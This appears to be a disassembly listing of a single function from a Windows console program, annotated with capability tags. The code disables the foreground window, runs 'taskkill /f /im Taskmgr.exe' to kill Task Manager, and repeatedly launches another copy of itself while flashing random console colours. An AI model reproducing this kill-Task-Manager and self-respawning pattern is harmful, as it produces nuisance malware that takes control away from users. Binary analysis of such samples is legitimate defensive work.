Function at 0x140001000
Capabilities:
Execute command
Get graphical window text

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x90
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x80], rax
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
lea rdx, [0x140003338]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_locale_l1_1_0.dll_setlocale]
movups xmm0, xmmword [str.Consolas]
movzx eax, word [0x140003350]
mov ecx, 0xfffffff5
mov qword [rsp + 0x20], 0x54
movups xmmword [rsp + 0x34], xmm0
mov qword [rsp + 0x28], 0xfa0000
mov dword [rsp + 0x30], 0x190
mov word [rsp + 0x44], ax
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
lea r8, [rsp + 0x20]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetCurrentConsoleFontEx]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov edx, 0x104
mov r9d, 0x20000000
mov rcx, rax
mov r8d, 0xd
call qword [sym.imp.USER32.dll_SendMessageW]
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_EnableWindow]
nop dword [rax]
lea rcx, str.taskkill__f__im_Taskmgr.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.ConsoleApplication1.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov edi, eax
mov eax, 0x88888889
imul edi
add edx, edi
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0xf
sub edi, ecx
inc edi
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov ebx, eax
mov eax, 0x88888889
imul ebx
add edx, ebx
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0xf
sub ebx, ecx
mov ecx, 0xfffffff5
inc ebx
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
shl di, 4
mov rcx, rax
or di, bx
movzx edx, di
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140003328]
call fcn.140001290
mov rcx, rax
lea rdx, [0x140003324]
call fcn.140001290
mov rcx, rax
lea rdx, [0x140003320]
call fcn.140001290
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140003328]
call fcn.140001290
mov rcx, rax
xor edx, edx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140003324]
call fcn.140001290
mov rcx, rax
xor edx, edx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x14000332c]
call fcn.140001290
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140003390]
call fcn.140001290
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.e_0m
call fcn.140001290
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, di
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, bx
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140003394]
call fcn.140001290
jmp 0x1400010c0